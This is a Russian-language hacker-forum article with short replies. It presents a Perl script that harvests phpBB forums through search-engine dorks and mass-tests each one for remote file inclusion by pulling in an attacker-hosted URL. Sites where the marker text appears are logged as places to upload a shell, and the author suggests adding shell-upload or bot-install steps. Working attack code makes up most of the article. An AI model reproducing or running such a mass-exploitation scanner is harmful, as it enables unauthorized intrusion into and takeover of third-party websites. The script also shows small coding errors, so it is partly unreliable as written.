===== ..::Вступление::.. ===== Найдя (или узнав) какую-либо серьезную багу, наверняка все лезут в google и начинают тыкать по ссылкам проверяя проходит или нет... Ты никогда не задумывался над автоматизацией процесса, ведь любую рутинную работу можно автоматизировать и тогда схема действий будет предельно проста: ты запускаешь немного подправленный скрипт, и уже через час перед тобой список линков куда можно залить шелл. Сейчас мы будем писать тот самый волшебный скрипт для автоматизации всей грязной работы…. ===== ..::Основная часть::.. ===== Итак, приступим… Скрипт должен выполнять несколько функций, это: Поиск подходящих сайтов. Проверка на уязвимости Если сайт уязвим, то вывод в лог. (в принципе можно пофантазировать и добавить еще что-нибудь, например залить шелл или установить бота) Сначала нужно определиться с на какую багу будем проверять. В качестве демонстрации сойдет возможность инклуда в модулях phpbb (подробнее http://someshit.net/showthread.php?t=159 ). Как я уже говорил выше нужно найти подходящие сайты для этого лучше использовать не всеми любимый www.google.com, а www.search.aol.com/aolcom. Так как google в последнее время начал часто выдавать страницу sorry, при использовании сложных запросов вроде: Code: inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4" или "Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl -exploit Сам код можно скачать: тут Второй шаг это идем в google поисковик и начинаем его "мучать" на предмет выдачи как можно большего числа форумов phpbb, либо идем на... http://johnny.ihackstuff.com и ищем там наиболее подходящий вариант. Начинаем писать код... Code: #!/usr/bin/perl -w # Flipper auto scan ( Public Version ) # (c)ode by flipper # 20.02.2007 use strict; #use warnings; use LWP::UserAgent; our $hop = 50; # число скачков по результатам поисковика our $banner = 'inurl%3A%22viewforum.php%3Ff%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit'; # текст для поиска #our $banner[1] = 'inurl%3A%22viewtopic.php%3Ft%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit'; our $access = 'LKSJDLMCeijmefeisjiIJF'; # Текст для сравнения (удачный или нет инклуд) our $mysite = 'http://www.f-l-i-p-p-e-r.narod.ru/1.txt'; # URL который будет инклудиться our @content = (); #our $proxy = '172.16.0.1:8080'; # расскоментируйте если хотите использовать our $host = ''; our $query = ''; our $url = ''; # конектимся на поисковик print "[::searching::]\n"; for(my $i = 1; $i <= $hop; $i++) # переход по страницам результатов { my $ua = LWP::UserAgent->new; if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){ $ua->proxy('http', "http://$proxy/"); }; $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i"); $req->header('Accept' => 'text/html'); my $res = $ua->request($req); push @content, $res->content; } # записываем URL'ы в массив our @URLS; foreach my $page (@content){ while ($page =~m/http:\/\/(.+?)<\/p>/g){ if ($1 !~ m/google|cache|translate|websearch|aol|w3|<b>/){ push (@URLS,$1); } }} #open(URL, ">urls.txt"); #foreach $url (@uRLS) {print URL "$url\n";} #close (URL); print "[::exploiting::]\n"; # читаем из файла includ в массив open(INCLUD, "<include.txt"); my @includ = <INCLUD>; close (INCLUD); open(SUC, ">SUCCESS.txt"); # начинаем... foreach my $url(@URLS) { $query=$url; $host=$url; # http://www.somehost.ru/phpbb/viewforum.php|f=40 $host =~ s/href=\"?http:\/\///; # чистим URL что бы www.somehost.ru/phpbb/viewforum.php|f=40 $query=~ s/(.*\/)(.*)/$1/; # он был пригоден www.somehost.ru/phpbb/ $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; # для подстановки www.somehost.ru/ # if ($query eq "") {$query ="/";}; foreach my $include (@includ) { # пробуем подставить URL с нашим кодом chomp($include); # убираем символ \n # print "Host: $host\n"; # print "URL: $query\n"; # print "INC: $include\n"; # print "MY: $mysite\n"; # print LOG "host: $query$include$mysite\n----------------\n\n"; }; my $ua = LWP::UserAgent->new; if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){ $ua->proxy('http', "http://$proxy/"); }; $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); my $req = HTTP::Request->new(GET => "http://$query$include$mysite"); $req->header('Accept' => 'text/html'); my $res = $ua->request($req); if($res->content =~ /$access/oi) {print SUC "$query$include\n";} #нашли свой текст значит удачно!!! # else {print "[-] $a$b$include\n";} # } } } close (SUC); ===== ..::Заключение::.. ===== Хотелось бы дать несколько пояснений. В переменную $mysite записывается адрес файла (или сайта) который будет инклудиться, в случае удачи, текст переменной $access будет присутствовать на странице и будет выведен в лог. В принципе скрипт можно адаптировать под любую багу, а также добавить функцию для закачки шелла или установки бота. Если вы не знаете Perl то рекомендую прочитать ссылки на манны в конце статьи, а далее уже приобрести какой-нибудь хороший учебник. Да и еще… полноценное тестирование скрипта я не проводил, в принципе если наличие баги на лицо то он должен ее показать. Сам скрипт является одним из первых моих творений после начала изучения Perl’a поэтому ногами за кривое его написание просьба не пинать, а конструктивная критика наоборот приветствуется. Еще недавно видел k1b0rg выкладывал свой скрипт вобщем-то при небольшой доработке он может делать тоже самое, а из моего можно сделать модуль... Ну, вот и все. Удачи... При написании скрипта часть взята от s0L0b0t: http://hellknights.void.ru/ Так же Multi includes (видел у кого-то в подписи) http://www.someshit.net В дополнение рекомендую почитать: http://www.iho.ru/faq/manual/perl.html http://www.lib.ru/PERL/LEONOV/perl_www.txt Copyright© 2007 Flipper(2900358). All rights reserved.
извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket
>> извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket лол )), и чем это IO:Socket так слащав ?? )
из-за простаты LWP +)) Мне наобарот нравиться испозовать чистый use Socket а не IO::Socket, IO::Socket вообще не прикалывает.
>> Ох что-то мне слишком знаком этот код... 100% где-то видел на забугорных сайтах так может ты его видел как раз-таки в боте n4n'а ? )